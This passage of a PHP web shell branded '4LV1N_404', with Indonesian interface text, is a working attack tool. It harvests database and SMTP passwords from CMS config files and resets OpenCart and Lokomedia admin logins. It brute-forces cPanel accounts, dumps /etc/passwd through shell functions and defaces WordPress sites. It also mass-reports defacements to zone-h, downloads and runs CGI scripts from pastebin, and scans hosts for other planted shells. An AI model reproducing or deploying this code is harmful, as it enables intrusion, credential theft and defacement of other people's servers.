2240 $result = mysql_fetch_array($q);
2241 $id = $result[user_id];
2242 $target = ambilkata($config,"HTTP_SERVER', '","'");
2243 if($target == '') {
2244 $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
2245 } else {
2246 $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a><br>";
2247 }
2248 $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
2249 echo "Config => ".$file_conf."<br>";
2250 echo "CMS => OpenCart<br>";
2251 echo $url_target;
2252 if(!$update OR !$conn OR !$db) {
2253 echo "Status => <font color=red>".mysql_error()."</font><br><br>";
2254 } else {
2255 echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
2256 }
2257 mysql_close($conn);
2258 } elseif(preg_match("/panggil fungsi validasi xss dan injection/",$config)) {
2259 $dbhost = ambilkata($config,'server = "','"');
2260 $dbuser = ambilkata($config,'username = "','"');
2261 $dbpass = ambilkata($config,'password = "','"');
2262 $dbname = ambilkata($config,'database = "','"');
2263 $prefix = "users";
2264 $option = "identitas";
2265 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
2266 $db = mysql_select_db($dbname);
2267 $q = mysql_query("SELECT * FROM $option ORDER BY id_identitas ASC");
2268 $result = mysql_fetch_array($q);
2269 $target = $result[alamat_website];
2270 if($target == '') {
2271 $target2 = $result[url];
2272 $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
2273 if($target2 == '') {
2274 $url_target2 = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
2275 } else {
2276 $cek_login3 = file_get_contents("$target2/adminweb/");
2277 $cek_login4 = file_get_contents("$target2/lokomedia/adminweb/");
2278 if(preg_match("/CMS Lokomedia|Administrator/", $cek_login3)) {
2279 $url_target2 = "Login => <a href='$target2/adminweb' target='_blank'><u>$target2/adminweb</u></a><br>";
2280 } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) {
2281 $url_target2 = "Login => <a href='$target2/lokomedia/adminweb' target='_blank'><u>$target2/lokomedia/adminweb</u></a><br>";
2282 } else {
2283 $url_target2 = "Login => <a href='$target2' target='_blank'><u>$target2</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
2284 }
2285 }
2286 } else {
2287 $cek_login = file_get_contents("$target/adminweb/");
2288 $cek_login2 = file_get_contents("$target/lokomedia/adminweb/");
2289 if(preg_match("/CMS Lokomedia|Administrator/", $cek_login)) {
2290 $url_target = "Login => <a href='$target/adminweb' target='_blank'><u>$target/adminweb</u></a><br>";
2291 } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) {
2292 $url_target = "Login => <a href='$target/lokomedia/adminweb' target='_blank'><u>$target/lokomedia/adminweb</u></a><br>";
2293 } else {
2294 $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
2295 }
2296 }
2297 $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE level='admin'");
2298 echo "Config => ".$file_conf."<br>";
2299 echo "CMS => Lokomedia<br>";
2300 if(preg_match('/error, gabisa ambil nama domain nya/', $url_target)) {
2301 echo $url_target2;
2302 } else {
2303 echo $url_target;
2304 }
2305 if(!$update OR !$conn OR !$db) {
2306 echo "Status => <font color=red>".mysql_error()."</font><br><br>";
2307 } else {
2308 echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
2309 }
2310 mysql_close($conn);
2311 }
2312 }
2313 }
2314 } else {
2315 echo "<center>
2316 <h1>Auto Edit User Config</h1>
2317 <form method='post'>
2318 DIR Config: <br>
2319 <input type='text' size='50' name='config_dir' value='$dir'><br><br>
2320 Set User & Pass: <br>
2321 <input type='text' name='user_baru' value='Alvin404' placeholder='user_baru'><br>
2322 <input type='text' name='pass_baru' value='Alvin404' placeholder='pass_baru'><br>
2323 <input type='submit' name='hajar' value='Hajar!' style='width: 215px;'>
2324 </form>
2325 <span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
2326 ";
2327 }
2328}elseif($_GET['do'] == 'shelscan') {
2329 echo'<center><h2>Shell Finder</h2>
2330<form action="" method="post">
2331<input type="text" size="50" name="traget" value="http://www.site.com/"/>
2332<br>
2333<input name="scan" value="Start Scaning" style="width: 215px;" type="submit">
2334</form><br>';
2335if (isset($_POST["scan"])) {
2336$url = $_POST['traget'];
2337echo "<br /><span class='start'>Scanning ".$url."<br /><br /></span>";
2338echo "Result :<br />";
2339$shells = array("WSO.php","dz.php","cpanel.php","cpn.php","sql.php","mysql.php","madspot.php","cp.php","cpbt.php","sYm.php",
2340"x.php","r99.php","lol.php","jo.php","wp.php","whmcs.php","shellz.php","d0main.php","d0mains.php","users.php",
2341"Cgishell.pl","killer.php","changeall.php","2.php","Sh3ll.php","dz0.php","dam.php","user.php","dom.php","whmcs.php",
2342"vb.zip","r00t.php","c99.php","gaza.php","1.php","wp.zip"."wp-content/plugins/disqus-comment-system/disqus.php",
2343"d0mains.php","wp-content/plugins/akismet/akismet.php","madspotshell.php","Sym.php","c22.php","c100.php",
2344"wp-content/plugins/akismet/admin.php#","wp-content/plugins/google-sitemap-generator/sitemap-core.php#",
2345"wp-content/plugins/akismet/widget.php#","Cpanel.php","zone-h.php","tmp/user.php","tmp/Sym.php","cp.php",
2346"tmp/madspotshell.php","tmp/root.php","tmp/whmcs.php","tmp/index.php","tmp/2.php","tmp/dz.php","tmp/cpn.php",
2347"tmp/changeall.php","tmp/Cgishell.pl","tmp/sql.php","tmp/admin.php","cliente/downloads/h4xor.php",
2348"whmcs/downloads/dz.php","L3b.php","d.php","tmp/d.php","tmp/L3b.php","wp-content/plugins/akismet/admin.php",
2349"templates/rhuk_milkyway/index.php","templates/beez/index.php","admin1.php","upload.php","up.php","vb.zip","vb.rar",
2350"admin2.asp","uploads.php","sa.php","sysadmins/","admin1/","administration/Sym.php","images/Sym.php",
2351"/r57.php","/wp-content/plugins/disqus-comment-system/disqus.php","/shell.php","/sa.php","/admin.php",
2352"/sa2.php","/2.php","/gaza.php","/up.php","/upload.php","/uploads.php","/templates/beez/index.php","shell.php","/amad.php",
2353"/t00.php","/dz.php","/site.rar","/Black.php","/site.tar.gz","/home.zip","/home.rar","/home.tar","/home.tar.gz",
2354"/forum.zip","/forum.rar","/forum.tar","/forum.tar.gz","/test.txt","/ftp.txt","/user.txt","/site.txt","/error_log","/error",
2355"/cpanel","/awstats","/site.sql","/vb.sql","/forum.sql","/backup.sql","/back.sql","/data.sql","wp.rar/",
2356"wp-content/plugins/disqus-comment-system/disqus.php","asp.aspx","/templates/beez/index.php","tmp/vaga.php",
2357"tmp/killer.php","whmcs.php","tmp/killer.php","tmp/domaine.pl","tmp/domaine.php","useradmin/",
2358"tmp/d0maine.php","d0maine.php","tmp/sql.php","tmp/dz1.php","dz1.php","forum.zip","Symlink.php","Symlink.pl",
2359"forum.rar","joomla.zip","joomla.rar","wp.php","buck.sql","sysadmin.php","images/c99.php", "xd.php", "c100.php",
2360"spy.aspx","xd.php","tmp/xd.php","sym/root/home/","billing/killer.php","tmp/upload.php","tmp/admin.php",
2361"Server.php","tmp/uploads.php","tmp/up.php","Server/","wp-admin/c99.php","tmp/priv8.php","priv8.php","cgi.pl/",
2362"tmp/cgi.pl","downloads/dom.php","templates/ja-helio-farsi/index.php","webadmin.html","admins.php",
2363"/wp-content/plugins/count-per-day/js/yc/d00.php", "admins/","admins.asp","admins.php","wp.zip","wso2.5.1","pasir.php","pasir2.php","up.php","cok.php","newfile.php","upl.php",".php","a.php","crot.php","kontol.php","hmei7.php","jembut.php","memek.php","tai.php","rabit.php","indoxploit.php","a.php","hemb.php","hack.php","galau.php","HsH.php","indoXploit.php","asu.php","wso.php","lol.php","idx.php","rabbit.php","1n73ction.php","k.php","mailer.php","mail.php","temp.php","c.php","d.php","IDB.php","indo.php","indonesia.php","semvak.php","ndasmu.php","cox.php","as.php","ad.php","aa.php","file.php","peju.php","asd.php","configs.php","ass.php","z.php");
2364foreach ($shells as $shell){
2365$headers = get_headers("$url$shell"); //
2366if (eregi('200', $headers[0])) {
2367echo "<a href='$url$shell'>$url$shell</a> <span class='found'>Done :D</span><br /><br/><br/>"; //
2368$dz = fopen('shells.txt', 'a+');
2369$suck = "$url$shell";
2370fwrite($dz, $suck."\n");
2371}
2372}
2373echo "Shell [ <a href='./shells.txt' target='_blank'>shells.txt</a> ]</span>";
2374}
2375
2376}
2377 elseif($_GET['do'] == 'cpanel') {
2378 if($_POST['crack']) {
2379 $usercp = explode("\r\n", $_POST['user_cp']);
2380 $passcp = explode("\r\n", $_POST['pass_cp']);
2381 $i = 0;
2382 foreach($usercp as $ucp) {
2383 foreach($passcp as $pcp) {
2384 if(@mysql_connect('localhost', $ucp, $pcp)) {
2385 if($_SESSION[$ucp] && $_SESSION[$pcp]) {
2386 } else {
2387 $_SESSION[$ucp] = "1";
2388 $_SESSION[$pcp] = "1";
2389 $i++;
2390 echo "username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>)<br>";
2391 }
2392 }
2393 }
2394 }
2395 if($i == 0) {
2396 } else {
2397 echo "<br>Nemu ".$i." Cpanel by <font color=lime>4LV1N_404</font> private Shell";
2398 }
2399 } else {
2400 echo "<center>
2401 <form method='post'>
2402 USER: <br>
2403 <textarea style='width: 450px; height: 150px;' name='user_cp'>";
2404 $_usercp = fopen("/etc/passwd","r");
2405 while($getu = fgets($_usercp)) {
2406 if($getu == '' || !$_usercp) {
2407 echo "<font color=red>Can't read /etc/passwd</font>";
2408 } else {
2409 preg_match_all("/(.*?):x:/", $getu, $u);
2410 foreach($u[1] as $user_cp) {
2411 if(is_dir("/home/$user_cp/public_html")) {
2412 echo "$user_cp\n";
2413 }
2414 }
2415 }
2416 }
2417 echo "</textarea><br>
2418 PASS: <br>
2419 <textarea style='width: 450px; height: 200px;' name='pass_cp'>";
2420 function cp_pass($dir) {
2421 $pass = "";
2422 $dira = scandir($dir);
2423 foreach($dira as $dirb) {
2424 if(!is_file("$dir/$dirb")) continue;
2425 $ambil = file_get_contents("$dir/$dirb");
2426 if(preg_match("/WordPress/", $ambil)) {
2427 $pass .= ambilkata($ambil,"DB_PASSWORD', '","'")."\n";
2428 } elseif(preg_match("/JConfig|joomla/", $ambil)) {
2429 $pass .= ambilkata($ambil,"password = '","'")."\n";
2430 } elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
2431 $pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."\n";
2432 } elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
2433 $pass .= ambilkata($ambil,'password = "','"')."\n";
2434 } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
2435 $pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")."\n";
2436 } elseif(preg_match("/client/", $ambil)) {
2437 preg_match("/password=(.*)/", $ambil, $pass1);
2438 if(preg_match('/"/', $pass1[1])) {
2439 $pass1[1] = str_replace('"', "", $pass1[1]);
2440 $pass .= $pass1[1]."\n";
2441 }
2442 } elseif(preg_match("/cc_encryption_hash/", $ambil)) {
2443 $pass .= ambilkata($ambil,"db_password = '","'")."\n";
2444 }
2445 }
2446 echo $pass;
2447 }
2448 $cp_pass = cp_pass($dir);
2449 echo $cp_pass;
2450 echo "</textarea><br>
2451 <input type='submit' name='crack' style='width: 450px;' value='Crack'>
2452 </form>
2453 <span>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br></center>";
2454 }
2455} elseif($_GET['do'] == 'smtp') {
2456 echo "<center><span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span></center><br>";
2457 function scj($dir) {
2458 $dira = scandir($dir);
2459 foreach($dira as $dirb) {
2460 if(!is_file("$dir/$dirb")) continue;
2461 $ambil = file_get_contents("$dir/$dirb");
2462 $ambil = str_replace("$", "", $ambil);
2463 if(preg_match("/JConfig|joomla/", $ambil)) {
2464 $smtp_host = ambilkata($ambil,"smtphost = '","'");
2465 $smtp_auth = ambilkata($ambil,"smtpauth = '","'");
2466 $smtp_user = ambilkata($ambil,"smtpuser = '","'");
2467 $smtp_pass = ambilkata($ambil,"smtppass = '","'");
2468 $smtp_port = ambilkata($ambil,"smtpport = '","'");
2469 $smtp_secure = ambilkata($ambil,"smtpsecure = '","'");
2470 echo "SMTP Host: <font color=lime>$smtp_host</font><br>";
2471 echo "SMTP port: <font color=lime>$smtp_port</font><br>";
2472 echo "SMTP user: <font color=lime>$smtp_user</font><br>";
2473 echo "SMTP pass: <font color=lime>$smtp_pass</font><br>";
2474 echo "SMTP auth: <font color=lime>$smtp_auth</font><br>";
2475 echo "SMTP secure: <font color=lime>$smtp_secure</font><br><br>";
2476 }
2477 }
2478 }
2479 $smpt_hunter = scj($dir);
2480 echo $smpt_hunter;
2481} elseif($_GET['do'] == 'auto_wp') {
2482 if($_POST['hajar']) {
2483 $title = htmlspecialchars($_POST['new_title']);
2484 $pn_title = str_replace(" ", "-", $title);
2485 if($_POST['cek_edit'] == "Y") {
2486 $script = $_POST['edit_content'];
2487 } else {
2488 $script = $title;
2489 }
2490 $conf = $_POST['config_dir'];
2491 $scan_conf = scandir($conf);
2492 foreach($scan_conf as $file_conf) {
2493 if(!is_file("$conf/$file_conf")) continue;
2494 $config = file_get_contents("$conf/$file_conf");
2495 if(preg_match("/WordPress/", $config)) {
2496 $dbhost = ambilkata($config,"DB_HOST', '","'");
2497 $dbuser = ambilkata($config,"DB_USER', '","'");
2498 $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
2499 $dbname = ambilkata($config,"DB_NAME', '","'");
2500 $dbprefix = ambilkata($config,"table_prefix = '","'");
2501 $prefix = $dbprefix."posts";
2502 $option = $dbprefix."options";
2503 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
2504 $db = mysql_select_db($dbname);
2505 $q = mysql_query("SELECT * FROM $prefix ORDER BY ID ASC");
2506 $result = mysql_fetch_array($q);
2507 $id = $result[ID];
2508 $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
2509 $result2 = mysql_fetch_array($q2);
2510 $target = $result2[option_value];
2511 $update = mysql_query("UPDATE $prefix SET post_title='$title',post_content='$script',post_name='$pn_title',post_status='publish',comment_status='open',ping_status='open',post_type='post',comment_count='1' WHERE id='$id'");
2512 $update .= mysql_query("UPDATE $option SET option_value='$title' WHERE option_name='blogname' OR option_name='blogdescription'");
2513 echo "<div style='margin: 5px auto;'>";
2514 if($target == '') {
2515 echo "URL: <font color=red>error, gabisa ambil nama domain nya</font> -> ";
2516 } else {
2517 echo "URL: <a href='$target/?p=$id' target='_blank'>$target/?p=$id</a> -> ";
2518 }
2519 if(!$update OR !$conn OR !$db) {
2520 echo "<font color=red>MySQL Error: ".mysql_error()."</font><br>";
2521 } else {
2522 echo "<font color=lime>sukses di ganti.</font><br>";
2523 }
2524 echo "</div>";
2525 mysql_close($conn);
2526 }
2527 }
2528 } else {
2529 echo "<center>
2530 <h1>Auto Edit Title+Content WordPress</h1>
2531 <form method='post'>
2532 DIR Config: <br>
2533 <input type='text' size='50' name='config_dir' value='$dir'><br><br>
2534 Set Title: <br>
2535 <input type='text' name='new_title' value='Hacked By 4LV1N_404' placeholder='New Title'><br><br>
2536 Edit Content?: <input type='radio' name='cek_edit' value='Y' checked>Y<input type='radio' name='cek_edit' value='N'>N<br>
2537 <span>Jika pilih <u>Y</u> masukin script defacemu ( saran yang simple aja ), kalo pilih <u>N</u> gausah di isi.</span><br>
2538 <textarea name='edit_content' placeholder='contoh script: http://pastebin.com/EpP671gK' style='width: 450px; height: 150px;'></textarea><br>
2539 <input type='submit' name='hajar' value='Hajar!' style='width: 450px;'><br>
2540 </form>
2541 <span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
2542 ";
2543 }
2544} elseif($_GET['do'] == 'zoneh') {
2545 if($_POST['submit']) {
2546 $domain = explode("\r\n", $_POST['url']);
2547 $nick = $_POST['nick'];
2548 echo "Defacer Onhold: <a href='http://www.zone-h.org/archive/notifier=$nick/published=0' target='_blank'>http://www.zone-h.org/archive/notifier=$nick/published=0</a><br>";
2549 echo "Defacer Archive: <a href='http://www.zone-h.org/archive/notifier=$nick' target='_blank'>http://www.zone-h.org/archive/notifier=$nick</a><br><br>";
2550 function zoneh($url,$nick) {
2551 $ch = curl_init("http://www.zone-h.com/notify/single");
2552 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
2553 curl_setopt($ch, CURLOPT_POST, true);
2554 curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send");
2555 return curl_exec($ch);
2556 curl_close($ch);
2557 }
2558 foreach($domain as $url) {
2559 $zoneh = zoneh($url,$nick);
2560 if(preg_match("/color=\"red\">OK<\/font><\/li>/i", $zoneh)) {
2561 echo "$url -> <font color=lime>OK</font><br>";
2562 } else {
2563 echo "$url -> <font color=red>ERROR</font><br>";
2564 }
2565 }
2566 } else {
2567 echo "<center><form method='post'>
2568 <u>Defacer</u>: <br>
2569 <input type='text' name='nick' size='50' value'4LV1N_404'><br>
2570 <u>Domains</u>: <br>
2571 <textarea style='width: 450px; height: 150px;' name='url'></textarea><br>
2572 <input type='submit' name='submit' value='Submit' style='width: 450px;'>
2573 </form>";
2574 }
2575 echo "</center>";
2576}elseif($_GET['do'] == 'lcf') {
2577 mkdir('LCF',0755);
2578chdir('LCF');
2579$kokdosya = ".htaccess";
2580$dosya_adi = "$kokdosya";
2581$dosya = fopen ($dosya_adi , 'w') or die ("Error mas broo!!!");
2582$metin = "OPTIONS Indexes Includes ExecCGI FollowSymLinks \n AddType application/x-httpd-cgi .pl \n AddHandler cgi-script .pl \n AddHandler cgi-script .pl
2583\n \n Options \n DirectoryIndex seees.html \n RemoveHandler .php \n AddType application/octet-stream .php";
2584fwrite ( $dosya , $metin ) ;
2585 fclose ($dosya);
2586$file = fopen("lcf.pl","w+");
2587$write = fwrite ($file ,file_get_contents("http://pastebin.com/raw/26jAL0sz"));
2588fclose($file);
2589chmod("lcf.pl",0755);
2590echo "<iframe src=LCF/lcf.pl width=97% height=100% frameborder=0></iframe>";
2591}
2592 elseif($_GET['do'] == 'cgi') {
2593 $cgi_dir = mkdir('idx_cgi', 0755);
2594 $file_cgi = "idx_cgi/cgi.izo";
2595 $isi_htcgi = "AddHandler cgi-script .izo";
2596 $htcgi = fopen(".htaccess", "w");
2597 $cgi_script = file_get_contents("http://pastebin.com/raw.php?i=XTUFfJLg");
2598 $cgi = fopen($file_cgi, "w");
2599 fwrite($cgi, $cgi_script);
2600 fwrite($htcgi, $isi_htcgi);
2601 chmod($file_cgi, 0755);
2602 echo "<iframe src='idx_cgi/cgi.izo' width='100%' height='100%' frameborder='0' scrolling='no'></iframe>";
2603} elseif($_GET['do'] == 'fake_root') {
2604 ob_start();
2605 function reverse($url) {
2606 $ch = curl_init("http://domains.yougetsignal.com/domains.php");
2607 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
2608 curl_setopt($ch, CURLOPT_POSTFIELDS, "remoteAddress=$url&ket=");
2609 curl_setopt($ch, CURLOPT_HEADER, 0);
2610 curl_setopt($ch, CURLOPT_POST, 1);
2611 $resp = curl_exec($ch);
2612 $resp = str_replace("[","", str_replace("]","", str_replace("\"\"","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",", str_replace("'","", str_replace("'","", str_replace(":",",", str_replace('"','', $resp ) ) ) ) ) ) ) ) ) ))));
2613 $array = explode(",,", $resp);
2614 unset($array[0]);
2615 foreach($array as $lnk) {
2616 $lnk = "http://$lnk";
2617 $lnk = str_replace(",", "", $lnk);
2618 echo $lnk."\n";
2619 ob_flush();
2620 flush();
2621 }
2622 curl_close($ch);
2623 }
2624 function cek($url) {
2625 $ch = curl_init($url);
2626 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
2627 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
2628 $resp = curl_exec($ch);
2629 return $resp;
2630 }
2631 $cwd = getcwd();
2632 $ambil_user = explode("/", $cwd);
2633 $user = $ambil_user[2];
2634 if($_POST['reverse']) {
2635 $site = explode("\r\n", $_POST['url']);
2636 $file = $_POST['file'];
2637 foreach($site as $url) {
2638 $cek = cek("$url/~$user/$file");
2639 if(preg_match("/hacked/i", $cek)) {
2640 echo "URL: <a href='$url/~$user/$file' target='_blank'>$url/~$user/$file</a> -> <font color=lime>Fake Root!</font><br>";
2641 }
2642 }
2643 } else {
2644 echo "<center><form method='post'>
2645 Filename: <br><input type='text' name='file' value='deface.html' size='50' height='10'><br>
2646 User: <br><input type='text' value='$user' size='50' height='10' readonly><br>
2647 Domain: <br>
2648 <textarea style='width: 450px; height: 250px;' name='url'>";
2649 reverse($_SERVER['HTTP_HOST']);
2650 echo "</textarea><br>
2651 <input type='submit' name='reverse' value='Scan Fake Root!' style='width: 450px;'>
2652 </form><br>
2653 NB: Sebelum gunain Tools ini , upload dulu file deface kalian di dir /home/user/ dan /home/user/public_html.</center>";
2654 }
2655} elseif($_GET['do'] == 'adminer') {
2656 $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
2657 function adminer($url, $isi) {
2658 $fp = fopen($isi, "w");
2659 $ch = curl_init();
2660 curl_setopt($ch, CURLOPT_URL, $url);
2661 curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
2662 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
2663 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
2664 curl_setopt($ch, CURLOPT_FILE, $fp);
2665 return curl_exec($ch);
2666 curl_close($ch);
2667 fclose($fp);
2668 ob_flush();
2669 flush();
2670 }
2671 if(file_exists('adminer.php')) {
2672 echo "<center><font color=lime><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>";
2673 } else {
2674 if(adminer("https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php","adminer.php")) {
2675 echo "<center><font color=lime><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>";
2676 } else {
2677 echo "<center><font color=red>gagal buat file adminer</font></center>";
2678 }
2679 }
2680}elseif($_GET['do'] == 'passwbypass') {
2681 echo '<center>Bypass etc/passw With:<br>
2682<table style="width:50%">
2683 <tr>
2684 <td><form method="post"><input type="submit" value="System Function" name="syst"></form></td>
2685 <td><form method="post"><input type="submit" value="Passthru Function" name="passth"></form></td>
2686 <td><form method="post"><input type="submit" value="Exec Function" name="ex"></form></td>
2687 <td><form method="post"><input type="submit" value="Shell_exec Function" name="shex"></form></td>
2688 <td><form method="post"><input type="submit" value="Posix_getpwuid Function" name="melex"></form></td>
2689</tr></table>Bypass User With : <table style="width:50%">
2690<tr>
2691 <td><form method="post"><input type="submit" value="Awk Program" name="awkuser"></form></td>
2692 <td><form method="post"><input type="submit" value="System Function" name="systuser"></form></td>
2693 <td><form method="post"><input type="submit" value="Passthru Function" name="passthuser"></form></td>
2694 <td><form method="post"><input type="submit" value="Exec Function" name="exuser"></form></td>
2695 <td><form method="post"><input type="submit" value="Shell_exec Function" name="shexuser"></form></td>
2696</tr>
2697</table><br>';
2698
2699
2700if ($_POST['awkuser']) {
2701echo"<textarea class='inputzbut' cols='65' rows='15'>";
2702echo shell_exec("awk -F: '{ print $1 }' /etc/passwd | sort");
2703echo "</textarea><br>";
2704}
2705if ($_POST['systuser']) {
2706echo"<textarea class='inputzbut' cols='65' rows='15'>";
2707echo system("ls /var/mail");
2708echo "</textarea><br>";
2709}
2710if ($_POST['passthuser']) {
2711echo"<textarea class='inputzbut' cols='65' rows='15'>";
2712echo passthru("ls /var/mail");
2713echo "</textarea><br>";
2714}
2715if ($_POST['exuser']) {
2716echo"<textarea class='inputzbut' cols='65' rows='15'>";
2717echo exec("ls /var/mail");
2718echo "</textarea><br>";
2719}
2720if ($_POST['shexuser']) {
2721echo"<textarea class='inputzbut' cols='65' rows='15'>";
2722echo shell_exec("ls /var/mail");
2723echo "</textarea><br>";
2724}
2725if($_POST['syst'])
2726{
2727echo"<textarea class='inputz' cols='65' rows='15'>";
2728echo system("cat /etc/passwd");
2729echo"</textarea><br><br><b></b><br>";
2730}
2731if($_POST['passth'])
2732{
2733echo"<textarea class='inputz' cols='65' rows='15'>";
2734echo passthru("cat /etc/passwd");
2735echo"</textarea><br><br><b></b><br>";
2736}
2737if($_POST['ex'])
2738{
2739echo"<textarea class='inputz' cols='65' rows='15'>";
2740echo exec("cat /etc/passwd");
2741echo"</textarea><br><br><b></b><br>";
2742}
2743if($_POST['shex'])
2744{
2745echo"<textarea class='inputz' cols='65' rows='15'>";
2746echo shell_exec("cat /etc/passwd");
2747echo"</textarea><br><br><b></b><br>";
2748}
2749echo '<center>';
2750if($_POST['melex'])
2751{
2752echo"<textarea class='inputz' cols='65' rows='15'>";
2753for($uid=0;$uid<60000;$uid++){
2754$ara = posix_getpwuid($uid);
2755if (!empty($ara)) {
2756while (list ($key, $val) = each($ara)){
2757print "$val:";
2758}
2759print "\n";
2760}
2761}
2762echo"</textarea><br><br>";
2763}
2764//
2765
2766//
2767
2768##########################################################################
2769
2770}
2771elseif($_GET['do'] == 'hashid') {
2772if (isset($_POST['gethash'])) {
2773 $hash = $_POST['hash'];
2774 if (strlen($hash) == 32) {
2775 $hashresult = "MD5 Hash";
2776 } elseif (strlen($hash) == 40) {
2777 $hashresult = "SHA-1 Hash/ /MySQL5 Hash";
2778 } elseif (strlen($hash) == 13) {
2779 $hashresult = "DES(Unix) Hash";
2780 } elseif (strlen($hash) == 16) {
2781 $hashresult = "MySQL Hash / /DES(Oracle Hash)";
2782 } elseif (strlen($hash) == 41) {
2783 $GetHashChar = substr($hash, 40);
2784 if ($GetHashChar == "*") {
2785 $hashresult = "MySQL5 Hash";
2786 }
2787 } elseif (strlen($hash) == 64) {
2788 $hashresult = "SHA-256 Hash";
2789 } elseif (strlen($hash) == 96) {
2790 $hashresult = "SHA-384 Hash";
2791 } elseif (strlen($hash) == 128) {
2792 $hashresult = "SHA-512 Hash";
2793 } elseif (strlen($hash) == 34) {
2794 if (strstr($hash, '$1$')) {
2795 $hashresult = "MD5(Unix) Hash";
2796 }
2797 } elseif (strlen($hash) == 37) {
2798 if (strstr($hash, '$apr1$')) {
2799 $hashresult = "MD5(APR) Hash";
2800 }
2801 } elseif (strlen($hash) == 34) {
2802 if (strstr($hash, '$H$')) {
2803 $hashresult = "MD5(phpBB3) Hash";
2804 }
2805 } elseif (strlen($hash) == 34) {
2806 if (strstr($hash, '$P$')) {
2807 $hashresult = "MD5(Wordpress) Hash";
2808 }
2809 } elseif (strlen($hash) == 39) {
2810 if (strstr($hash, '$5$')) {
2811 $hashresult = "SHA-256(Unix) Hash";
2812 }
2813 } elseif (strlen($hash) == 39) {
2814 if (strstr($hash, '$6$')) {
2815 $hashresult = "SHA-512(Unix) Hash";
2816 }
2817 } elseif (strlen($hash) == 24) {
2818 if (strstr($hash, '==')) {
2819 $hashresult = "MD5(Base-64) Hash";
2820 }
2821 } else {
2822 $hashresult = "Hash type not found";
2823 }
2824 } else {
2825 $hashresult = "Not Hash Entered";
2826 }
2827?>
2828 <div class='mybox' style="text-align:left">
2829 <form action="" method="POST">
2830 <tr>
2831 <table >
2832 <h1>Hash Identifier</h1>
2833 <tr class="optionstr"><B><td>String</td></b><td>:</td>
2834 <td><input style='border:0;border-bottom:1px solid #292929; width:500px;' type="text" name="hash" size='60'/></td>
2835 <td><input type="submit" class="kotak" name="gethash" value="Identify Hash" /></td></tr>
2836 <tr class="optionstr"><b><td>Hasil</td><td>:</td><td><?php echo $hashresult; ?></td></tr></b>
2837 </table></tr></form><br>
2838 </div>
2839<?php
2840
2841###########################################################################
2842}
2843elseif($_GET['do'] == 'csrf') {
2844 echo "<div style='text-align: left;' class='mybox'>
2845 <h1>CSRF Exploiter Online</h1><hr color='white'>
2846 <form method='post'>
2847URL:       <input type='text' style='border:0;border-bottom:1px solid #292929; width:500px;' name='url' size='50' height='10' placeholder='http://127.0.0.1/[path]/upload.php' style='margin: 5px auto; padding-left: 5px;' required><br>
2848POST File: <input type='text' name='data' style='border:0;border-bottom:1px solid #292929; width:500px;' size='50' height='10' placeholder='Filedata / files[] / qqfile / userfile / dll' style='margin: 5px auto; padding-left: 5px;' required><br>
2849<br><input style='width: 50px; height: 30px; border-color=white;margin:10px 2px 0 2px;' class='kotak' type='submit' name='go' value='Lock!'>
2850</form></div>";
2851$url = $_POST['url'];
2852$data = $_POST['data'];
2853$submit = $_POST['go'];
2854if($submit) {
2855 echo "<br><form style='text-align:left' method='post' target='_blank' action='$url' enctype='multipart/form-data'><input type='file' name='$data'><input style='width: 50px; height: 30px; border-color=white;margin:10px 2px 0 2px;' type='submit' name='ok' class='kotak' value='Upload'>
2856 </form></div>";
2857}
2858
2859##########################################################################
2860
2861}
2862 elseif($_GET['do'] == 'lokmed')
2863 {
2864?>
2865<center class='mybox'><h1>CMS Lokomedia Auto Exploiter</h1>
2866<form method='post'>
2867<textarea name='sites' style='border-color=white;' value='contoh:http://127.0.0.1/hal-tentang-kami.html' cols='50' rows='12'></textarea><br><br>
2868<input type='submit' name='go' value='SIKAT!' style='border-color=white;' class='kotak'>
2869</FORM></center>
2870<?php
2871error_reporting(0);
2872set_time_limit(0);
2873$ya=$_POST['go'];
